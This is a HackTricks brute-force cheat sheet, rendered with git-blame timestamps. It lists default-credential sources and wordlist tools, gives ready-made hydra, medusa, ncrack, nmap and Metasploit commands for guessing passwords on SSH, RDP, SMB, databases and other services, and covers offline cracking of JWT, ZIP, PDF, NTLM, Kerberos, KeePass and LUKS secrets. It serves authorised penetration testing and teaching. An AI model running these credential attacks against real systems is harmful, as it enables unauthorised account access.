2022-05-01 13:25:53 +00:00
# Brute Force - CheatSheet
2022-04-28 16:01:33 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 2 ) . png > )
2022-08-31 22:35:39 +00:00
\
2022-09-08 15:18:29 +00:00
Use [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2023-03-05 23:15:43 +00:00
< summary > < strong > HackTricks in < / strong > < a href = "https://twitter.com/carlospolopm" > < strong > 🐦 Twitter 🐦 - < / strong > < / a > < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch< / strong > < / a > < strong > Wed - 18.30(UTC) 🎙️ - < / strong > < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-23 17:52:05 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-12-05 22:29:21 +00:00
* **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2022-05-01 13:25:53 +00:00
## Default Credentials
2020-07-15 15:43:14 +00:00
2022-09-12 15:29:22 +00:00
**Search in google** for default credentials of the technology that is being used, or **try these links** :
2020-07-15 15:43:14 +00:00
2021-05-31 09:39:02 +00:00
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet** ](https://github.com/ihebski/DefaultCreds-cheat-sheet )
* [**http://www.phenoelit.org/dpl/dpl.html** ](http://www.phenoelit.org/dpl/dpl.html )
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm** ](http://www.vulnerabilityassessment.co.uk/passwordsC.htm )
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/** ](https://192-168-1-1ip.mobi/default-router-passwords-list/ )
* [**https://datarecovery.com/rd/default-passwords/** ](https://datarecovery.com/rd/default-passwords/ )
* [**https://bizuns.com/default-passwords-list** ](https://bizuns.com/default-passwords-list )
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv** ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://www.cirt.net/passwords** ](https://www.cirt.net/passwords )
2021-11-24 15:00:38 +00:00
* [**http://www.passwordsdatabase.com/** ](http://www.passwordsdatabase.com )
2022-04-05 22:24:52 +00:00
* [**https://many-passwords.github.io/** ](https://many-passwords.github.io )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## **Create your own Dictionaries**
2020-07-15 15:43:14 +00:00
Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
2022-05-01 13:25:53 +00:00
### Crunch
2020-07-15 15:43:14 +00:00
2020-11-30 15:34:43 +00:00
```bash
2020-07-15 15:43:14 +00:00
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
2022-05-01 13:25:53 +00:00
### Cewl
2020-07-15 15:43:14 +00:00
```bash
cewl example.com -m 5 -w words.txt
```
2022-05-01 13:25:53 +00:00
### [CUPP](https://github.com/Mebus/cupp)
2020-11-03 11:04:12 +00:00
2021-11-24 15:00:38 +00:00
Generate passwords based on your knowledge of the victim (names, dates...)
2020-11-03 11:04:12 +00:00
2021-11-24 15:00:38 +00:00
```
2020-11-03 11:04:12 +00:00
python3 cupp.py -h
```
2022-05-01 13:25:53 +00:00
### [pydictor](https://github.com/LandGrey/pydictor)
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Wordlists
2020-07-15 15:43:14 +00:00
2021-05-31 09:39:02 +00:00
* [**https://github.com/danielmiessler/SecLists** ](https://github.com/danielmiessler/SecLists )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://github.com/kaonashi-passwords/Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi )
* [**https://github.com/google/fuzzing/tree/master/dictionaries** ](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md )
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm** ](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm )
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 2 ) . png > )
2022-08-31 22:35:39 +00:00
\
Use [**Trickest** ](https://trickest.io/ ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-05-01 13:25:53 +00:00
## Services
2020-07-15 15:43:14 +00:00
Ordered alphabetically by service name.
2022-05-01 13:25:53 +00:00
### AFP
2020-07-15 15:43:14 +00:00
```bash
nmap -p 548 --script afp-brute < IP >
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE < PATH_PASSWDS >
msf> set USER_FILE < PATH_USERS >
msf> run
```
2022-05-01 13:25:53 +00:00
### AJP
2020-07-15 15:43:14 +00:00
```bash
nmap --script ajp-brute -p 8009 < IP >
```
2022-05-01 13:25:53 +00:00
### Cassandra
2020-07-15 15:43:14 +00:00
```bash
nmap --script cassandra-brute -p 9160 < IP >
```
2022-05-01 13:25:53 +00:00
### CouchDB
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
2021-01-03 00:43:09 +00:00
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
2022-05-01 13:25:53 +00:00
### Docker Registry
2021-01-03 00:43:09 +00:00
2021-11-24 15:00:38 +00:00
```
2021-01-03 00:43:09 +00:00
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
2020-07-17 23:59:16 +00:00
```
2022-05-01 13:25:53 +00:00
### Elasticsearch
2020-07-17 23:59:16 +00:00
2021-11-24 15:00:38 +00:00
```
2021-01-03 00:43:09 +00:00
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### FTP
2020-07-15 15:43:14 +00:00
```bash
hydra -l root -P passwords.txt [-t 32] < IP > ftp
ncrack -p 21 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ftp
```
2022-05-01 13:25:53 +00:00
### HTTP Generic Brute
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### HTTP Basic Auth
2020-07-15 15:43:14 +00:00
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
2022-09-12 15:29:22 +00:00
# Use https-get mode for https
2020-07-15 15:43:14 +00:00
medusa -h < IP > -u < username > -P < passwords.txt > -M http -m DIR:/path/to/auth -T 10
```
2022-05-01 13:25:53 +00:00
### HTTP - Post Form
2020-07-15 15:43:14 +00:00
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^& password=^PASS^& enter=Sign+in:Login name or password is incorrect" -V
2022-09-12 15:29:22 +00:00
# Use https-post-form mode for https
2020-07-15 15:43:14 +00:00
```
For http**s** you have to change from "http-post-form" to "**https-post-form"**
2022-05-01 13:25:53 +00:00
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
2020-07-15 15:43:14 +00:00
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
2022-05-01 13:25:53 +00:00
### IMAP
2020-07-15 15:43:14 +00:00
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f < IP > imap -V
nmap -sV --script imap-brute -p < PORT > < IP >
```
2022-05-01 13:25:53 +00:00
### IRC
2020-07-15 15:43:14 +00:00
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p < PORT > < IP >
```
2022-05-01 13:25:53 +00:00
### ISCSI
2020-07-15 15:43:14 +00:00
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 < IP >
```
2022-05-01 13:25:53 +00:00
### JWT
2021-03-08 16:25:26 +00:00
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt < JWT token >
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
2022-05-01 13:25:53 +00:00
### LDAP
2020-07-15 15:43:14 +00:00
```bash
nmap --script ldap-brute -p 389 < IP >
```
2022-05-01 13:25:53 +00:00
### MQTT
2022-02-19 19:42:58 +00:00
```
ncrack mqtt://127.0.0.1 --user test – P /root/Desktop/pass.txt -v
```
2022-05-01 13:25:53 +00:00
### Mongo
2020-07-15 15:43:14 +00:00
```bash
nmap -sV --script mongodb-brute -n -p 27017 < IP >
use auxiliary/scanner/mongodb/mongodb_login
```
2022-05-01 13:25:53 +00:00
### MySQL
2020-07-15 15:43:14 +00:00
```bash
2021-11-21 17:03:07 +00:00
# hydra
2020-07-15 15:43:14 +00:00
hydra -L usernames.txt -P pass.txt < IP > mysql
2021-11-21 17:03:07 +00:00
# msfconsole
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
2021-11-21 17:03:07 +00:00
# medusa
medusa -h < IP / Host > -u < username > -P < password_list > < -f | to stop medusa on first success attempt > -t < threads > -M mysql
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### OracleSQL
2020-07-15 15:43:14 +00:00
```bash
patator oracle_login sid=< SID > host=< IP > user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORT 1521
msf> set SID < SID >
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORTS 1521
msf> set SID < SID >
2022-09-12 15:29:22 +00:00
#for some reason nmap fails sometimes when executing this script
2020-07-15 15:43:14 +00:00
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=< SID > < IP >
```
In order to use **oracle\_login** with **patator** you need to **install** :
```bash
pip3 install cx_Oracle --upgrade
```
2022-05-01 13:25:53 +00:00
[Offline OracleSQL hash bruteforce ](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force ) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3** ):
2020-07-15 15:43:14 +00:00
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
2022-05-01 13:25:53 +00:00
### POP
2020-07-15 15:43:14 +00:00
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f < IP > pop3 -V
```
2022-05-01 13:25:53 +00:00
### PostgreSQL
2020-07-15 15:43:14 +00:00
```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > postgres
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M postgres
ncrack – v – U /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > :5432
patator pgsql_login host=< IP > user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
```
2022-05-01 13:25:53 +00:00
### PPTP
2020-07-15 15:43:14 +00:00
You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/ ](https://http.kali.org/pool/main/t/thc-pptp-bruter/ )
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter – u < Username > < IP >
```
2022-05-01 13:25:53 +00:00
### RDP
2020-07-15 15:43:14 +00:00
```bash
ncrack -vv --user < User > -P pwds.txt rdp://< IP >
hydra -V -f -L < userslist > -P < passwlist > rdp://< IP >
```
2022-05-01 13:25:53 +00:00
### Redis
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 < IP >
2021-08-27 00:14:28 +00:00
hydra – P /path/pass.txt redis://< IP > :< PORT > # 6379 is the default
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### Rexec
2020-07-15 15:43:14 +00:00
```bash
hydra -l < username > -P < password_file > rexec://< Victim-IP > -v -V
```
2022-05-01 13:25:53 +00:00
### Rlogin
2020-07-15 15:43:14 +00:00
```bash
hydra -l < username > -P < password_file > rlogin://< Victim-IP > -v -V
```
2022-05-01 13:25:53 +00:00
### Rsh
2020-07-15 15:43:14 +00:00
```bash
hydra -L < Username_list > rsh://< Victim_IP > -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind ](http://pentestmonkey.net/tools/misc/rsh-grind )
2022-05-01 13:25:53 +00:00
### Rsync
2020-07-15 15:43:14 +00:00
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 < IP >
```
2022-05-01 13:25:53 +00:00
### RTSP
2020-07-15 15:43:14 +00:00
```bash
hydra -l root -P passwords.txt < IP > rtsp
```
2022-05-01 13:25:53 +00:00
### SNMP
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute < target > [--script-args snmp-brute.communitiesdb=< wordlist > ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt < IP >
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
2022-05-01 13:25:53 +00:00
### SMB
2020-07-15 15:43:14 +00:00
```bash
nmap --script smb-brute -p 445 < IP >
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
2022-05-01 13:25:53 +00:00
### SMTP
2020-07-15 15:43:14 +00:00
```bash
hydra -l < username > -P /path/to/passwords.txt < IP > smtp -V
hydra -l < username > -P /path/to/passwords.txt -s 587 < IP > -S -v -V #Port 587 for SMTP with SSL
```
2022-05-01 13:25:53 +00:00
### SOCKS
2021-05-13 16:02:48 +00:00
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 < IP >
```
2023-01-21 22:02:49 +00:00
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] < IP > ssh
ncrack -p 22 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ssh
patator ssh_login host=< ip > port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
```
#### Weak SSH keys / Debian predictable PRNG
Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute ](https://github.com/snowdroppe/ssh-keybrute ). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh ](https://github.com/g0tmi1k/debian-ssh ).
2022-05-01 13:25:53 +00:00
### SQL Server
2020-07-15 15:43:14 +00:00
```bash
#Use the NetBIOS name of the machine as domain
2020-09-20 22:23:18 +00:00
crackmapexec mssql < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
2020-07-15 15:43:14 +00:00
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > mssql
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M mssql
2022-09-12 15:29:22 +00:00
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts < host > #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### Telnet
2020-07-15 15:43:14 +00:00
```bash
hydra -l root -P passwords.txt [-t 32] < IP > telnet
ncrack -p 23 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M telnet
```
2022-05-01 13:25:53 +00:00
### VNC
2020-07-15 15:43:14 +00:00
```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt -s < PORT > < IP > vnc
2021-05-13 22:59:50 +00:00
medusa -h < IP > – u root -P /root/Desktop/pass.txt – M vnc
2020-07-15 15:43:14 +00:00
ncrack -V --user root -P /root/Desktop/pass.txt < IP > :>POR>T
2022-10-02 23:08:05 +00:00
patator vnc_login host=< IP > password=FILE0 0=/root/Desktop/pass.txt – t 1 – x retry:fgep!='Authentication failure' --max-retries 0 – x quit:code=0
use auxiliary/scanner/vnc/vnc_login
2020-07-15 15:43:14 +00:00
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
2022-01-10 10:36:14 +00:00
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS < ip >
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### Winrm
2020-09-20 21:41:33 +00:00
```bash
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
```
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 2 ) . png > )
2022-08-31 22:35:39 +00:00
\
Use [**Trickest** ](https://trickest.io/ ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-05-01 13:25:53 +00:00
## Local
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Online cracking databases
2020-07-15 15:43:14 +00:00
2021-11-24 15:00:38 +00:00
* [~~http://hashtoolkit.com/reverse-hash?~~ ](http://hashtoolkit.com/reverse-hash? ) (MD5 & SHA1)
* [https://www.onlinehashcrack.com/ ](https://www.onlinehashcrack.com ) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/ ](https://crackstation.net ) (Hashes)
* [https://md5decrypt.net/ ](https://md5decrypt.net ) (MD5)
* [https://gpuhash.me/ ](https://gpuhash.me ) (Hashes and file hashes)
* [https://hashes.org/search.php ](https://hashes.org/search.php ) (Hashes)
* [https://www.cmd5.org/ ](https://www.cmd5.org ) (Hashes)
* [https://hashkiller.co.uk/Cracker ](https://hashkiller.co.uk/Cracker ) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html ](https://www.md5online.org/md5-decrypt.html ) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/ ](http://reverse-hash-lookup.online-domain-tools.com )
2020-07-15 15:43:14 +00:00
2022-09-12 15:29:22 +00:00
Check this out before trying to brute force a Hash.
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### ZIP
2020-07-15 15:43:14 +00:00
```bash
2021-09-29 09:06:46 +00:00
#sudo apt-get install fcrackzip
2020-07-15 15:43:14 +00:00
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
2021-02-21 10:41:35 +00:00
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
2022-06-08 21:20:05 +00:00
#### Known plaintext zip attack
You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: ** `7z l encrypted.zip` **\
Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0 )from the releases page.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C < encrypted.zip > -c < plaintext.file > -P < plaintext.zip > -p < plaintext.file >
2022-09-12 15:29:22 +00:00
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
2022-06-08 21:20:05 +00:00
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
2022-09-23 17:52:05 +00:00
./bkcrack -C < encrypted.zip > -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
2022-06-08 21:20:05 +00:00
unzip unlocked.zip #User new_pwd as password
```
2022-05-01 13:25:53 +00:00
### 7z
2020-07-15 15:43:14 +00:00
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
2022-05-01 13:25:53 +00:00
### PDF
2020-07-15 15:43:14 +00:00
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
2022-09-12 15:29:22 +00:00
#pdf2john didn't work well, john didn't know which hash type was
2020-07-15 15:43:14 +00:00
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=< PASSWORD > --decrypt encrypted.pdf plaintext.pdf
```
2022-06-27 08:23:29 +00:00
### PDF Owner Password
To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ ](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ )
2022-05-01 13:25:53 +00:00
### JWT
2020-07-15 15:43:14 +00:00
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
2022-05-01 13:25:53 +00:00
### NTLM cracking
2020-07-15 15:43:14 +00:00
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
2021-10-05 14:53:03 +00:00
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
2020-07-15 15:43:14 +00:00
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
2022-05-01 13:25:53 +00:00
### Keepass
2020-07-15 15:43:14 +00:00
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
2022-09-12 15:29:22 +00:00
keepass2john -k < file-password > file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
2020-07-15 15:43:14 +00:00
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
2022-05-01 13:25:53 +00:00
### Keberoasting
2020-07-15 15:43:14 +00:00
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
2022-05-01 13:25:53 +00:00
### Lucks image
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
#### Method 1
2020-07-15 15:43:14 +00:00
Install: [https://github.com/glv2/bruteforce-luks ](https://github.com/glv2/bruteforce-luks )
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
2022-05-01 13:25:53 +00:00
#### Method 2
2020-07-15 15:43:14 +00:00
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
2020-12-23 13:35:45 +00:00
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
2020-07-15 15:43:14 +00:00
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
2021-09-19 21:14:04 +00:00
Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 ](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 )
2022-05-01 13:25:53 +00:00
### Mysql
2020-07-15 15:43:14 +00:00
```bash
#John hash format
< USERNAME > :$mysqlna$< CHALLENGE > *< RESPONSE >
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
2022-05-01 13:25:53 +00:00
### PGP/GPG Private key
2021-09-27 14:59:59 +00:00
```bash
2022-09-12 15:29:22 +00:00
gpg2john private_pgp.key #This will generate the hash and save it in a file
2021-09-27 14:59:59 +00:00
